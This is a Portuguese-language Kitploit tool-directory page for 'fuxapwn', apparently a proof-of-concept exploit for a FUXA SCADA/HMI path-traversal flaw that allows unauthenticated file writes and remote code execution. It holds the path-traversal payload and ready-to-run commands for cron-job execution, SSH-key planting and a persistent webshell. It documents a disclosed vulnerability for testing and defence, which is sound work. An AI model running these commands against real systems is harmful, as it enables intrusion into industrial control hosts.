Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
FUXAPWN — Exploit de PoC para CVE-2026-25895 FUXA Path Traversal não autenticado -> Escrita arbitrária de arquivos -> RCE | Kitploit
Ferramentas/GitHubGitHub/hann1bl3l3ct3r/fuxapwn
Escalada de PrivilégiosReconhecimentoMecanismos de PersistênciaAnálise de VulnerabilidadesExploraçãoMovimento LateralSegurança SCADA/ICSExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoDesenvolvimento de Payloads
221há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubhann1bl3l3ct3r/fuxapwn

FUXAPWN

Exploit de PoC para CVE-2026-25895 FUXA Path Traversal não autenticado -> Escrita arbitrária de arquivos -> RCE

Ver Repositório

CVE-2026-25895 — FUXA <= 1.2.9 Traversal de Caminho Não Autenticado para Execução Remota de Código

Escrita arbitrária de arquivos não autenticada (pré-autenticação) contra o FUXA, uma plataforma SCADA/HMI baseada em Node.js. Permite encadear para execução remota de código por meio de várias primitivas distintas pós-escrita. Funciona mesmo quando secureEnabled = true (autenticação ativada), pois o endpoint vulnerável não possui middleware anexado.

Também disponível no ExploitDB: https://www.exploit-db.com/exploits/52568

CampoValor
CVE IDCVE-2026-25895
AfetadoFUXA <= 1.2.9
CorrigidoFUXA 1.2.10
Fornecedorfrangoteam / FUXA
Vetor de ataqueRede (HTTP/HTTPS)
AutenticaçãoNenhuma necessária
ImpactoEscrita arbitrária de arquivos, execução remota de código
CVSS v3.19.8 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
PesquisadorAnthony Cihan (Hann1bl3L3ct3r)

Resumo

O endpoint POST /api/upload do FUXA (server/api/projects/index.js:193) é registrado sem middleware, contornando tanto a verificação de JWT / chave de API do secureFnc quanto a barreira de permissão de administrador aplicada a todos os outros endpoints de gerenciamento de projetos. Dentro do handler, o campo destination do corpo JSON é concatenado em um caminho de filesystem com apenas um sublinhado inicial e sem normalização ou verificação de contenção:

let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath          = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);

Um valor de destination no formato a/../../../../../etc (em que a absorve o prefixo de sublinhado inicial) faz o path.resolve do Node sair de appDir para qualquer local em que o processo do FUXA possa escrever. Como fs.writeFileSync é precedido por um fs.mkdirSync(dir, { recursive: true }) condicional, o atacante também pode criar diretórios-pai conforme necessário.

O resultado é uma primitiva de escrita arbitrária de arquivos não autenticada, acessível na porta HTTP padrão (1881), explorável antes da autenticação independentemente de o administrador do FUXA ter ativado ou não o login.

Impacto

Um atacante remoto não autenticado pode:

  • Escrever ou sobrescrever qualquer arquivo que a conta de serviço do FUXA consiga acessar
  • Substituir o settings.js para obter execução de código na próxima reinicialização do FUXA
  • Instalar um cron job (/etc/cron.d/<arquivo>) para execução de código em até 60 segundos quando o FUXA roda como root (o padrão na imagem Docker do fornecedor)
  • Instalar um listener de webshell HTTP vinculado ao processo Node do FUXA
  • Inserir chaves públicas SSH em /root/.ssh/authorized_keys ou no ~/.ssh/authorized_keys de qualquer usuário
  • Enumerar a conta de usuário local que executa o FUXA e outras contas presentes no host por meio de um canal lateral no nível do filesystem

Esta é uma descoberta de severidade crítica pré-autenticação em uma plataforma ICS/SCADA usada para operar processos industriais.

Versões Afetadas

VersãoStatus
<= 1.2.9Vulnerável
1.2.10+Corrigido

Exploração confirmada em uma instalação limpa do FUXA 1.2.9 no Ubuntu Server.

Prova de Conceito

Script Python 3 de arquivo único, com uma dependência de terceiros (requests).

pip install requests
python3 fuxapwn.py --help

Reconhecimento rápido não autenticado

Identifica o usuário do SO em execução, a exposição do Node-RED e quaisquer outras contas no host sem escrever nada incomum:

python3 fuxapwn.py -u http://target:1881 --mode recon \
    --probe-root --probe-home

Prove a primitiva de escrita

Escreve um marcador neutro /tmp/healthcheck (sem IOCs específicos do CVE no nome do arquivo ou no conteúdo):

python3 fuxapwn.py -u http://target:1881 --mode canary

RCE de disparo único

Se o FUXA roda como root, instale um arquivo cron que dispara em até 60 segundos sem exigir reinicialização do FUXA:

python3 fuxapwn.py -u http://target:1881 --mode cron \
    --cron-cmd 'id > /tmp/fx.txt 2>&1'

Webshell persistente via substituição do settings.js

Instala um listener de webshell HTTP dentro do processo Node do FUXA (é ativado na próxima inicialização a frio, pois require() armazena módulos em cache) e, em seguida, abre um REPL interativo quando o FUXA reiniciar:

# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
    --appdata /opt/FUXA/server/_appdata --ws-port 31337

# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
    --ws-host target --ws-port 31337 \
    --ws-path /_abc123 --ws-token <printed-above> --interact

Modos de Operação

ModoFinalidade
reconVazamento não autenticado de informações via GET /api/settings; infere o usuário do SO em execução a partir de caminhos absolutos; informa o status do Node-RED; sondas ativas opcionais --probe-root e --probe-home
canaryProva da primitiva de escrita de arquivos com um caminho padrão neutro
settings-rceSubstitui settings.js por um payload que executa um comando configurável na próxima inicialização a frio do FUXA
ssh-keyEscreve uma chave pública no authorized_keys do usuário-alvo
dropGravação arbitrária de arquivo em qualquer caminho absoluto
cronInstala /etc/cron.d/<nome> para RCE em até 60 segundos sem aguardar reinicialização do FUXA (requer FUXA rodando como root)
webshellInstala um listener de webshell HTTP dentro do processo Node do FUXA via substituição do settings.js (ativa na próxima inicialização a frio)
webshell-execCliente para um webshell já instalado; comando único ou REPL com --interact

Referência completa das opções por modo: python3 fuxapwn.py --help.

Notas Técnicas

Vazamento não autenticado de configuração

GET /api/settings (server/api/index.js:103) é registrado sem middleware e retorna a configuração de runtime ativa, levemente redigida (o servidor remove secretCode e smtp.password antes de enviar). Os campos restantes vazam caminhos absolutos (appDir, workDir, userSettingsFile, logsDir, uploadFileDir) que normalmente identificam o usuário de serviço, além de nodeRedEnabled, que é um indicador direto de um caminho secundário de RCE não autenticado (veja abaixo).

Enumeração do usuário em execução em instalações não-root e não-Docker

Quando o FUXA é iniciado via npm start com uma conta de usuário local e os caminhos de instalação não codificam o usuário (por exemplo, a instalação fica em /opt, /tmp ou um /app genérico), e /root/ não é gravável, o POC recorre a iterar por /home/<candidato>/ com escritas de zero byte.

Baixar ferramenta